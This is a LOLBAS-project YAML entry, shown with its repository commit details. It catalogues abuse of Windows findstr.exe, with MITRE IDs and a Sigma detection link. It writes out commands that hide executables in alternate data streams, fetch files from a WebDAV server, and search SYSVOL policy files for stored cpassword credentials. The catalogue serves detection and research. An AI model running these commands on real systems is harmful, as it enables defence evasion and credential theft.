LOLBAS/yml/OSBinaries/Findstr.yml
bohops 23dd0236ae
Detection Resources and Other Updates (#179)
* Add detection links for scripts

* Add detection links for OtherMSBins. Fixed and updated as needed.

* Add detection links for MSBins. Fixed and updated as needed.

* Add detection links for oslibraries

* Updating template for Detections

* Removing empty Detection:Sigma entries

* Remove redundant blank line

* Replacing commit URL with file URL

Co-authored-by: root <root@DESKTOP-5CR935D.localdomain>
Co-authored-by: Wietze <wietze@users.noreply.github.com>
2021-11-15 08:19:03 -05:00

49 lines
2.3 KiB
YAML

---
Name: Findstr.exe
Description:
Author: 'Oddvar Moe'
Created: 2018-05-25
Commands:
- Command: findstr /V /L W3AllLov3LolBas c:\ADS\file.exe > c:\ADS\file.txt:file.exe
Description: Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.
Usecase: Add a file to an alternate data stream to hide from defensive counter measures
Category: ADS
Privileges: User
MitreID: T1564.004
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
- Command: findstr /V /L W3AllLov3LolBas \\webdavserver\folder\file.exe > c:\ADS\file.txt:file.exe
Description: Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.
Usecase: Add a file to an alternate data stream from a webdav server to hide from defensive counter measures
Category: ADS
Privileges: User
MitreID: T1564.004
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
- Command: findstr /S /I cpassword \\sysvol\policies\*.xml
Description: Search for stored password in Group Policy files stored on SYSVOL.
Usecase: Find credentials stored in cpassword attrbute
Category: Credentials
Privileges: User
MitreID: T1552.001
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
- Command: findstr /V /L W3AllLov3LolBas \\webdavserver\folder\file.exe > c:\ADS\file.exe
Description: Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is downloaded to the target file.
Usecase: Download/Copy file from webdav server
Category: Download
Privileges: User
MitreID: T1185
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Full_Path:
- Path: C:\Windows\System32\findstr.exe
- Path: C:\Windows\SysWOW64\findstr.exe
Code_Sample:
- Code:
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_findstr.yml
Resources:
- Link: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
- Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
Acknowledgement:
- Person: Oddvar Moe
Handle: '@oddvarmoe'
---